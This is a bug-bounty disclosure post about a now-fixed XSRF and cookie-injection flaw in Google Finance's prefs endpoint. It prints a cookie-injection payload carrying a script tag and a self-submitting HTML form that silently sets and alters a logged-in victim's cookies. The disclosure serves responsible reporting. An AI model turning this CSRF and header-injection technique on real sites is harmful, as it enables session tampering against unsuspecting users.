XSRF and Cookie manipulation on google.com

Submit to Reddit
Vote on HN

Here I present a (reported and fixed) XSRF and Cookie manipulation vulnerability I discovered in google.com, which required no user interaction. It was possible to set arbitrary cookies and tamper with existing ones.

The bug

The bug is a lack of sanitization of the prefsval parameter, which is used in the response within a Set-Cookie header.

http://www.google.ca/finance/prefs?action=set&prefsgroup=global&prefskey=RV&prefsval=<PAYLOAD>

<PAYLOAD> allows commas and semicolons, thus allowing injection and cookie manipulation for browsers that allow Set-Cookie folding.

A proof-of-concept payload could be:

X;,%20USER_CONTROLLED_COOKIE_NAME=<script>alert('XSS')</script>;,DUMMY=

this sets the first cookie (called SC) to X, terminates it, sets a cookie named USER_CONTROLLED_COOKIE_NAME with content <script>alert('XSS')</script> (totally unescaped), terminates it, and sets another cookie DUMMY with the rest of the original, legitimate SC cookie.

It is also possible to set arbitrary expiration date and path, thus making it valid for google.com/ and not only google.com/finance. No anti-XSRF token was used.

Steps to reproduce:

  1. Let the victim, logged in her Google account, visit this crafted HTML page:
<html>
    <body onload="document.forms[0].submit()">
            <form action="http://www.google.ca/finance/prefs?action=set&prefsgroup=global
    &prefskey=RV&prefsval=X;,%20USER_CONTROLLED_COOKIE_NAME=<script>alert('XSS')</script>;%20path=/;
    %20Max-Age=999999999;%20domain=.google.ca;,%20PREF=GOOGLE_COOKIE_CONTENT_CHANGED;%20path=/;
    %20Max-Age=999999999;%20domain=.google.ca;,DUMMY=" method="post">
                    <input type="submit" value="Submit">
            </form>
    </body>
</html>
  1. She now has an arbitrary cookie set for google.com (USER_CONTROLLED_COOKIE_NAME), and a Google one (PREF) modified.

Screenshots:

The vulnerability in Burp Suite

The vulnerability in Burp Suite

Cookie manipulation succeeded

Cookie manipulation succeeded

This vulnerability was fixed in a week. The request now requires an anti-XSRF token and returns HTTP 400/Bad Request if it is missing.

I received a $3133.7 reward and have been listed in the Google Security Hall of Fame for the fourth time.

Thank you, Google Security Team! :)